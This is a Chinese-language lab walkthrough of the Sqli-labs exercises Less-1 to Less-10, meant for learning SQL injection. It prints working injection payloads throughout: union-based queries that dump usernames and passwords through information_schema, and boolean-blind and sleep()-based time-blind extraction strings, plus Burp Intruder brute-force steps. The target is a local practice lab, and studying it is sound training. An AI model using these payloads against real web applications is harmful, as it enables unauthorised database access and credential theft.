前置知识
SQL注入?
攻击者通过构造恶意的SQL语句,发送到后端解析器,改变了原本SQL语法结构,被正确执行,得到意外结果
常用语法
union :用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中
group_concat() :连接字段内容并用逗号分隔开
order by :对字段(也就是列)内容进行排序
database():查看当前数据库名
注入常用数据库名及表名
Mysql数据库:information_schema
以及information_schema数据库下的表:
schemata:可查询数据库名
tables:用于查询数据库下的表
conlumns:用于查询表的字段
Sql注入思路
1.正常输入参数,查看功能
2.输入特殊字符,查看是否报错
3.构造Sql语法查询得到数据库内容
下面开始Sqli-labs
Less-1
黄字部分提醒需要传入类型为数值的ID参数,于是在url部分输入?id=1,这个时正常回显
接下来我们输入引号127.0.0.1/Less-1/?id=1'
黄字部分提醒SQL语法错误 ( '1'' LIMIT 0,1)
判断该SQL语句可能为Select ...... from ...... where id ='参数' limit 0,1
于是尝试构造语句闭合引号并把后面的引号注释掉 这里我们用 --+ 注释后面引号
127.0.0.1/Less-1/?id=1' or 1=1 --+ 发现正常回显
接下来用order by排序猜测字段数,由于输入数字超过表内字段数会报错,于是我们尝试发现当order by 4的时候出现错误,判断该表格有3个字段
接下来使用union构造语句(注:union查询必须与前面查询的字段数相匹配,这里我们已经用order by 语法得出)100' union select 1,2,3 --+
由于原SQL语句的limit 0,1导致回显一份数据,所以我们传入的参数必须为表内没有内容的id的值,从图中可知查询内容在2,3可以被回显在页面内,所以此时我们就可以查询我们想要的数据了
?id=100' union select 1,database(),3 --+ 得到数据库名
?id=100' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+ 得到security库中的表
?id=100' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+ 得到users表中的字段
?id=100' union select 1,group_concat(username),group_concat(password) from users--+
至此,我们得到用户和密码
Less-2
同第一关一样,输入1'
依旧显错,将其与第一关的显错相比
发现语句只在单引号处报错
判断该SQL语句可能为Select ...... from ...... where id =参数 limit 0,1
参照Less-1构造
可得字段数为3,继续构造SQL语句的到数据库、数据表、字段信息
Less-3
输入1',显错
黄字部分提醒SQL语法错误 '1'') LIMIT 0,1
判断该SQL语句可能为Select ...... from ...... where id =('参数') limit 0,1
通过加单引号和单括号闭合?id=1') order by 4--+
Less-4
输入1',正常回显,但是输入1",则显错
黄字部分提醒SQL语法错误 "1"") LIMIT 0,1
判断该SQL语句可能为Select ...... from ...... where id =("参数") limit 0,1
通过加双引号和单括号闭合?id=1") order by 4--+
Less-5
这关跟其他关略有不同,输入1,正常回显(但是不回显数据),输入1',显错
由于没有数据回显,这里我们考虑使用布尔盲注
通过回显进行SQL语句构造闭合?id=1' order by 5--+
这里我们依旧通过回显信息判断字段,但是我们并没有办法用union得到数据,只能通过回显信息来判断语句是否正确以及1'后面的语句是否为真,利用这个回显信息我们可以构造SQL语句
首先,我们判断数据库长度?id=1' and length(database())=6--+
当数据库查询时and后面接判断语句,如果前面与后面为真,则输出数据,反之则无数据回显
这里我们可以判断数据库名长度为8,接下来逐一拆解数据库名的各个字符
?id=1' and ascii(mid(database(),2,1))=101--+
ascii:字符转换成ascii码值 ASCII_百度百科 (baidu.com) dec(也就是十进制)和字符两列
mid:返回从指定位置开始的子字符串 用法mid(字符串,起始位置,截取从起始位置开始后几个)
这里可以burpsuite进行暴力破解
首先先通过burpsuite进行抓包放进Intruder
然后将两个参数打上标记,Attack type选择Cluster bomb
再设置payload set 1和payload set 2 如下
点击右上角的Start attack
点击Length排序,由于爆破时间可能比较长,所以我这里Payload 2从99开始。至此,通过查ascii码表得到数据库名称security,接下来构造语句爆破数据库的表名
思路:先确定表的数据库表中有多少个表,再用burpsuite爆破表名。这里使用count()、limit()语法
count():对表中符合特定条件的所有行进行计数
limit():用于强制 select 语句返回指定的记录数(注:返回记录中第一行记为0)
1.确定security中表的个数:
?id=1' and (select count(table_name) from information_schema.tables where table_schema="security")=4--+
2.先获取表名长度
?id=1' and length((select table_name from information_schema.tables where table_schema="security" limit 0,1))=6--+
3.再对表名字符进行逐一爆破
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))=101--+
4.查看表的字段数,也就是列数
?id=1' and (select count(column_name) from information_schema.columns where table_name="users")=3--+
5.获取字段长度
?id=1' and length((select column_name from information_schema.columns where table_name="users" limit 0,1))=2--+
6.对字段名进行逐一爆破
?id=1' and ascii(mid((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))=105--+
7.获取第一个username的长路然后逐个爆破
?id=1' and length((select username from users where id=1))=4--+
?id=1' and ascii(mid((select username from users where id=1),1,1))=68--+
8.获取第一个用户名密码然后逐个爆破
?id=1' and length((select password from users where id=1))=4--+
?id=1' and ascii(mid((select password from users where id=1),1,1))=68--+
这里"="也可以换成其他比较符号,如">" 、"<"、"<>"
Less-6
与Less-5不同,这关用双引号闭合
其他过程参照Less-5
Less-7(使用into outfile,但是我在linux和windows下做实验都没有导不出表,略)
Less-8
输入1,正常回显,输入1',没有显示数据,输入1'--+,又正常回显。
既没有显错,也没有显示数据,故为单引号闭合的盲注,方法参照Less-5
Less-9
此题无论参数输入什么,回显都相同,此时我们考虑使用时间盲注
通过sleep()结合if()判断语句进行时间盲注
sleep():在MySQL中执行select sleep(N)可以让此语句运行N秒钟
if()语法:if(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
首先我们判断是否有引号闭合?id=1 and sleep(5),发现并没有执行sleep()
接着输入?id=1' and sleep(5)--+,页面延迟5秒回显,所以判断为单引号闭合
接下来就是构建SQL语句
1.确定数据库的长度
?id=1' and if(length((select database()))=8,sleep(5),1)--+
2.爆破数据库名
?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(5),1)--+
3.确定数据库的表的数量
?id=1' and if((select count(table_name) from information_schema.tables where table_schema="security")=4,sleep(5),1)--+
4.获取第一个表名长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema="security" limit 0,1))=6,sleep(5),1)--+
5.爆破第一个表名
?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))=101,sleep(5),1)--+
参照Less-5的过程,将判断语句放入if()函数中的条件即可
Less-10
这关跟Less-9区别就是,Less-10是基于双引号闭合的时间盲注